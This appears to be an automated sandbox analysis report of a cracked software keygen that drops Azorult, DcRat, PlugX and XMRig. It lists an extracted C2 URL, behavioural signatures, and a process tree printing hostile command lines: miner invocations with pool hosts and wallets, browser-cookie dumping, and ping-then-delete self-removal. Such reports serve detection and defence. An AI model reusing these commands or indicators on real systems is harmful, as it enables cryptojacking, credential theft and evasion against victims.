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Analysis

  • max time kernel
    1800s
  • max time network
    1605s
  • platform
    windows10_x64
  • resource
    win10v20201028
  • submitted
    06-04-2021 13:50

General

  • Target

    [CRACKHEAP.NET]PW12345Easeus_Data_Recovery_Wizard_8_keygen.exe

  • Size

    9.2MB

  • MD5

    b806267b5f3b7760df56396b1cf05e6d

  • SHA1

    5166d4c1d3e476281d9e991eababc3e4aa9ec5ad

  • SHA256

    f95d12a0dbd8199d16f48d8e4cbe69a8d4ec16c534efb36e52a662664e1c1783

  • SHA512

    30e393bb3898edc8ab5fb04e62ce421ddf3903075f59e3880408b300f46bb74a85088336d6e1203b2101152cebeef4c1730290b41ca77604ecb722c8f627328b

Malware Config

Extracted

Family

azorult

C2

http://kvaka.li/1210776429.php

Signatures

  • Azorult

    An information stealer that was first discovered in 2016, targeting browsing history and passwords.

  • DcRat

    DarkCrystal(DC) is a new .NET RAT active since June 2019 capable of loading additional plugins.

  • PlugX

    PlugX is a RAT (Remote Access Trojan) that has been around since 2008.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Nirsoft 4 IoCs
  • XMRig Miner Payload 4 IoCs
  • Blocklisted process makes network request 1 IoCs
  • Executes dropped EXE 23 IoCs
  • Suspicious Office macro 1 IoCs

    Office document equipped with 4.0 macros.

  • UPX packed file 10 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Loads dropped DLL 1 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses 2FA software files, possible credential harvesting 2 TTPs
  • Adds Run key to start application 2 TTPs 3 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Checks whether UAC is enabled 1 TTPs 4 IoCs
  • Enumerates connected drives 3 TTPs 48 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Writes to the Master Boot Record (MBR) 1 TTPs 3 IoCs

    Bootkits write to the MBR to gain persistence at a level below the operating system.

  • Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
  • Suspicious use of SetThreadContext 4 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Checks SCSI registry key(s) 3 TTPs 12 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 1 IoCs
  • Kills process with taskkill 2 IoCs
  • Modifies system certificate store 2 TTPs 4 IoCs
  • Runs ping.exe 1 TTPs 5 IoCs
  • Suspicious behavior: EnumeratesProcesses 10 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SetWindowsHookEx 8 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\[CRACKHEAP.NET]PW12345Easeus_Data_Recovery_Wizard_8_keygen.exe
    "C:\Users\Admin\AppData\Local\Temp\[CRACKHEAP.NET]PW12345Easeus_Data_Recovery_Wizard_8_keygen.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:644
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen.bat" "
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:512
      • C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-pr.exe
        keygen-pr.exe -p83fsase3Ge
        3⤵
        • Executes dropped EXE
        • Suspicious use of WriteProcessMemory
        PID:2792
        • C:\Users\Admin\AppData\Local\Temp\RarSFX2\key.exe
          "C:\Users\Admin\AppData\Local\Temp\RarSFX2\key.exe"
          4⤵
          • Executes dropped EXE
          • Suspicious use of WriteProcessMemory
          PID:1148
          • C:\Users\Admin\AppData\Local\Temp\RarSFX2\key.exe
            C:\Users\Admin\AppData\Local\Temp\RarSFX2\key.exe -txt -scanlocal -file:potato.dat
            5⤵
              PID:4048
        • C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-1.exe
          keygen-step-1.exe
          3⤵
          • Executes dropped EXE
          PID:2312
        • C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-3.exe
          keygen-step-3.exe
          3⤵
          • Executes dropped EXE
          • Suspicious use of WriteProcessMemory
          PID:3336
          • C:\Windows\SysWOW64\cmd.exe
            cmd.exe /C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-3.exe"
            4⤵
            • Suspicious use of WriteProcessMemory
            PID:3836
            • C:\Windows\SysWOW64\PING.EXE
              ping 1.1.1.1 -n 1 -w 3000
              5⤵
              • Runs ping.exe
              PID:1824
        • C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-4.exe
          keygen-step-4.exe
          3⤵
          • Executes dropped EXE
          • Suspicious use of WriteProcessMemory
          PID:1588
          • C:\Users\Admin\AppData\Local\Temp\RarSFX1\Setup.exe
            "C:\Users\Admin\AppData\Local\Temp\RarSFX1\Setup.exe"
            4⤵
            • Executes dropped EXE
            • Checks whether UAC is enabled
            • Writes to the Master Boot Record (MBR)
            • Suspicious use of NtSetInformationThreadHideFromDebugger
            • Modifies system certificate store
            • Suspicious use of SetWindowsHookEx
            • Suspicious use of WriteProcessMemory
            PID:1064
            • C:\Windows\SysWOW64\msiexec.exe
              msiexec.exe /i "C:\Users\Admin\AppData\Local\Temp\gdiview.msi"
              5⤵
              • Enumerates connected drives
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of FindShellTrayWindow
              PID:3632
            • C:\Users\Admin\AppData\Local\Temp\26FF190E7AE0F7C7.exe
              C:\Users\Admin\AppData\Local\Temp\26FF190E7AE0F7C7.exe 0011 installp1
              5⤵
              • Executes dropped EXE
              • Checks whether UAC is enabled
              • Writes to the Master Boot Record (MBR)
              • Suspicious use of SetThreadContext
              • Checks SCSI registry key(s)
              • Suspicious use of SetWindowsHookEx
              • Suspicious use of WriteProcessMemory
              PID:3432
              • C:\Program Files\Mozilla Firefox\firefox.exe
                "C:\Program Files\Mozilla Firefox\firefox.exe"
                6⤵
                • Suspicious use of SetWindowsHookEx
                PID:808
              • C:\Users\Admin\AppData\Roaming\1617724057891.exe
                "C:\Users\Admin\AppData\Roaming\1617724057891.exe" /sjson "C:\Users\Admin\AppData\Roaming\1617724057891.txt"
                6⤵
                • Executes dropped EXE
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of SetWindowsHookEx
                PID:4220
              • C:\Program Files\Mozilla Firefox\firefox.exe
                "C:\Program Files\Mozilla Firefox\firefox.exe"
                6⤵
                • Suspicious use of SetWindowsHookEx
                PID:4544
              • C:\Users\Admin\AppData\Roaming\1617724060610.exe
                "C:\Users\Admin\AppData\Roaming\1617724060610.exe" /sjson "C:\Users\Admin\AppData\Roaming\1617724060610.txt"
                6⤵
                • Executes dropped EXE
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of SetWindowsHookEx
                PID:4560
              • C:\Users\Admin\AppData\Local\Temp\download\ThunderFW.exe
                C:\Users\Admin\AppData\Local\Temp\download\ThunderFW.exe ThunderFW "C:\Users\Admin\AppData\Local\Temp\download\MiniThunderPlatform.exe"
                6⤵
                • Executes dropped EXE
                • Suspicious use of SetWindowsHookEx
                PID:4564
              • C:\Windows\SysWOW64\cmd.exe
                cmd /c ping 127.0.0.1 -n 3 & del "C:\Users\Admin\AppData\Local\Temp\26FF190E7AE0F7C7.exe"
                6⤵
                  PID:4724
                  • C:\Windows\SysWOW64\PING.EXE
                    ping 127.0.0.1 -n 3
                    7⤵
                    • Runs ping.exe
                    PID:4768
              • C:\Users\Admin\AppData\Local\Temp\26FF190E7AE0F7C7.exe
                C:\Users\Admin\AppData\Local\Temp\26FF190E7AE0F7C7.exe 200 installp1
                5⤵
                • Executes dropped EXE
                • Checks whether UAC is enabled
                • Writes to the Master Boot Record (MBR)
                • Checks SCSI registry key(s)
                • Suspicious use of SetWindowsHookEx
                • Suspicious use of WriteProcessMemory
                PID:3916
                • C:\Windows\SysWOW64\cmd.exe
                  cmd.exe /c taskkill /f /im chrome.exe
                  6⤵
                  • Suspicious use of WriteProcessMemory
                  PID:2204
                  • C:\Windows\SysWOW64\taskkill.exe
                    taskkill /f /im chrome.exe
                    7⤵
                    • Kills process with taskkill
                    PID:500
                • C:\Windows\SysWOW64\cmd.exe
                  cmd /c ping 127.0.0.1 -n 3 & del "C:\Users\Admin\AppData\Local\Temp\26FF190E7AE0F7C7.exe"
                  6⤵
                    PID:4184
                    • C:\Windows\SysWOW64\PING.EXE
                      ping 127.0.0.1 -n 3
                      7⤵
                      • Runs ping.exe
                      PID:4372
                • C:\Windows\SysWOW64\cmd.exe
                  cmd /c ping 127.0.0.1 -n 3 & del "C:\Users\Admin\AppData\Local\Temp\RarSFX1\Setup.exe"
                  5⤵
                  • Suspicious use of WriteProcessMemory
                  PID:2660
                  • C:\Windows\SysWOW64\PING.EXE
                    ping 127.0.0.1 -n 3
                    6⤵
                    • Runs ping.exe
                    PID:416
              • C:\Users\Admin\AppData\Local\Temp\RarSFX1\Install.exe
                "C:\Users\Admin\AppData\Local\Temp\RarSFX1\Install.exe"
                4⤵
                • Executes dropped EXE
                • Suspicious use of AdjustPrivilegeToken
                PID:672
              • C:\Users\Admin\AppData\Local\Temp\RarSFX1\file.exe
                "C:\Users\Admin\AppData\Local\Temp\RarSFX1\file.exe"
                4⤵
                • Executes dropped EXE
                • Modifies system certificate store
                PID:2220
                • C:\Users\Admin\AppData\Roaming\ABD6.tmp.exe
                  "C:\Users\Admin\AppData\Roaming\ABD6.tmp.exe"
                  5⤵
                  • Executes dropped EXE
                  • Adds Run key to start application
                  • Suspicious use of SetThreadContext
                  PID:1780
                  • C:\Windows\system32\msiexec.exe
                    -o pool.supportxmr.com:8080 -u 47wDrszce6VbnMB4zhhEA1Gr3EzwHx2eS6QzC5sFoq8iGdMjnzX8bnEjBdQHsAuW8C1SNgxyGa4DQTVnQ9jfhRod73np5P8.w14681 --cpu-max-threads-hint 50 -r 9999
                    6⤵
                    • Blocklisted process makes network request
                    PID:4312
                  • C:\Windows\system32\msiexec.exe
                    -P stratum1+ssl://0xb7633a80145Ec9ce2b8b5F80AB36C783064C2E10.w31909@eu-eth.hiveon.net:24443 -R --response-timeout 30 --farm-retries 99999
                    6⤵
                      PID:4432
                  • C:\Users\Admin\AppData\Roaming\AD0F.tmp.exe
                    "C:\Users\Admin\AppData\Roaming\AD0F.tmp.exe"
                    5⤵
                    • Executes dropped EXE
                    PID:4112
                    • C:\Windows\SysWOW64\cmd.exe
                      /c timeout /t 3 & del /f /q C:\Users\Admin\AppData\Roaming\AD0F.tmp.exe
                      6⤵
                        PID:4884
                        • C:\Windows\SysWOW64\timeout.exe
                          timeout /t 3
                          7⤵
                          • Delays execution with timeout.exe
                          PID:4920
                    • C:\Windows\SysWOW64\cmd.exe
                      "C:\Windows\system32\cmd.exe" /c ping 127.0.0.1 && del "C:\Users\Admin\AppData\Local\Temp\RarSFX1\file.exe"
                      5⤵
                        PID:4260
                        • C:\Windows\SysWOW64\PING.EXE
                          ping 127.0.0.1
                          6⤵
                          • Runs ping.exe
                          PID:4412
                    • C:\Users\Admin\AppData\Local\Temp\RarSFX1\md2_2efs.exe
                      "C:\Users\Admin\AppData\Local\Temp\RarSFX1\md2_2efs.exe"
                      4⤵
                      • Executes dropped EXE
                      • Checks whether UAC is enabled
                      PID:4296
                    • C:\Users\Admin\AppData\Local\Temp\RarSFX1\BTRSetp.exe
                      "C:\Users\Admin\AppData\Local\Temp\RarSFX1\BTRSetp.exe"
                      4⤵
                      • Executes dropped EXE
                      PID:752
                    • C:\Users\Admin\AppData\Local\Temp\RarSFX1\askinstall20.exe
                      "C:\Users\Admin\AppData\Local\Temp\RarSFX1\askinstall20.exe"
                      4⤵
                      • Executes dropped EXE
                      PID:4232
                      • C:\Windows\SysWOW64\cmd.exe
                        cmd.exe /c taskkill /f /im chrome.exe
                        5⤵
                          PID:1308
                          • C:\Windows\SysWOW64\taskkill.exe
                            taskkill /f /im chrome.exe
                            6⤵
                            • Kills process with taskkill
                            PID:4420
                      • C:\Users\Admin\AppData\Local\Temp\RarSFX1\gcttt.exe
                        "C:\Users\Admin\AppData\Local\Temp\RarSFX1\gcttt.exe"
                        4⤵
                        • Executes dropped EXE
                        • Adds Run key to start application
                        PID:4100
                        • C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
                          C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                          5⤵
                          • Executes dropped EXE
                          PID:4480
                        • C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
                          C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                          5⤵
                          • Executes dropped EXE
                          • Suspicious behavior: EnumeratesProcesses
                          PID:4668
                        • C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
                          C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                          5⤵
                          • Executes dropped EXE
                          • Suspicious behavior: EnumeratesProcesses
                          PID:1196
                        • C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
                          C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                          5⤵
                          • Executes dropped EXE
                          • Suspicious behavior: EnumeratesProcesses
                          PID:2608
                • C:\Windows\system32\msiexec.exe
                  C:\Windows\system32\msiexec.exe /V
                  1⤵
                  • Enumerates connected drives
                  • Suspicious use of AdjustPrivilegeToken
                  • Suspicious use of WriteProcessMemory
                  PID:3448
                  • C:\Windows\syswow64\MsiExec.exe
                    C:\Windows\syswow64\MsiExec.exe -Embedding 71ED44153E6A0928D7EB7807EEA38D26 C
                    2⤵
                    • Loads dropped DLL
                    PID:2840

                Network

                MITRE ATT&CK Enterprise v6

                Replay Monitor

                Loading Replay Monitor...

                Downloads

                • memory/672-43-0x0000000000D70000-0x0000000000D71000-memory.dmp

                  Filesize

                  4KB

                • memory/672-46-0x0000000001510000-0x0000000001512000-memory.dmp

                  Filesize

                  8KB

                • memory/672-42-0x00007FFA00560000-0x00007FFA00F4C000-memory.dmp

                  Filesize

                  9.9MB

                • memory/752-117-0x0000000001500000-0x0000000001501000-memory.dmp

                  Filesize

                  4KB

                • memory/752-116-0x0000000001610000-0x0000000001643000-memory.dmp

                  Filesize

                  204KB

                • memory/752-115-0x00000000014F0000-0x00000000014F1000-memory.dmp

                  Filesize

                  4KB

                • memory/752-113-0x0000000000FC0000-0x0000000000FC1000-memory.dmp

                  Filesize

                  4KB

                • memory/752-112-0x00007FFA00560000-0x00007FFA00F4C000-memory.dmp

                  Filesize

                  9.9MB

                • memory/752-118-0x000000001BE00000-0x000000001BE02000-memory.dmp

                  Filesize

                  8KB

                • memory/808-71-0x000001A4C6290000-0x000001A4C6291000-memory.dmp

                  Filesize

                  4KB

                • memory/808-70-0x0000000010000000-0x0000000010057000-memory.dmp

                  Filesize

                  348KB

                • memory/808-68-0x00007FFA17BA0000-0x00007FFA17C1E000-memory.dmp

                  Filesize

                  504KB

                • memory/1064-28-0x0000000010000000-0x000000001033E000-memory.dmp

                  Filesize

                  3.2MB

                • memory/1064-26-0x00000000730C0000-0x0000000073153000-memory.dmp

                  Filesize

                  588KB

                • memory/1148-24-0x0000000003160000-0x00000000032FC000-memory.dmp

                  Filesize

                  1.6MB

                • memory/2220-55-0x00000000011A0000-0x00000000011AD000-memory.dmp

                  Filesize

                  52KB

                • memory/2220-78-0x0000000000400000-0x0000000000448000-memory.dmp

                  Filesize

                  288KB

                • memory/3432-35-0x00000000730C0000-0x0000000073153000-memory.dmp

                  Filesize

                  588KB

                • memory/3432-64-0x0000000002CA0000-0x000000000314F000-memory.dmp

                  Filesize

                  4.7MB

                • memory/3916-37-0x00000000730C0000-0x0000000073153000-memory.dmp

                  Filesize

                  588KB

                • memory/3916-65-0x0000000003560000-0x0000000003A0F000-memory.dmp

                  Filesize

                  4.7MB

                • memory/3916-47-0x0000000010000000-0x000000001033E000-memory.dmp

                  Filesize

                  3.2MB

                • memory/4112-129-0x00000000074C0000-0x000000000C93C000-memory.dmp

                  Filesize

                  84.5MB

                • memory/4112-148-0x0000000000400000-0x000000000587C000-memory.dmp

                  Filesize

                  84.5MB

                • memory/4220-83-0x00000000730C0000-0x0000000073153000-memory.dmp

                  Filesize

                  588KB

                • memory/4312-91-0x0000014BEFD90000-0x0000014BEFDA4000-memory.dmp

                  Filesize

                  80KB

                • memory/4312-151-0x0000014BEFEE0000-0x0000014BEFF00000-memory.dmp

                  Filesize

                  128KB

                • memory/4312-93-0x0000000140000000-0x000000014070A000-memory.dmp

                  Filesize

                  7.0MB

                • memory/4312-88-0x0000000140000000-0x000000014070A000-memory.dmp

                  Filesize

                  7.0MB

                • memory/4312-106-0x0000000140000000-0x000000014070A000-memory.dmp

                  Filesize

                  7.0MB

                • memory/4312-108-0x0000014BEFEC0000-0x0000014BEFEE0000-memory.dmp

                  Filesize

                  128KB

                • memory/4432-104-0x0000000140000000-0x0000000140383000-memory.dmp

                  Filesize

                  3.5MB

                • memory/4432-94-0x0000000140000000-0x0000000140383000-memory.dmp

                  Filesize

                  3.5MB

                • memory/4544-105-0x000001FEC2C60000-0x000001FEC2C61000-memory.dmp

                  Filesize

                  4KB

                • memory/4544-98-0x00007FFA17BA0000-0x00007FFA17C1E000-memory.dmp

                  Filesize

                  504KB

                • memory/4560-103-0x00000000730C0000-0x0000000073153000-memory.dmp

                  Filesize

                  588KB

                • memory/4564-140-0x00000000730C0000-0x0000000073153000-memory.dmp

                  Filesize

                  588KB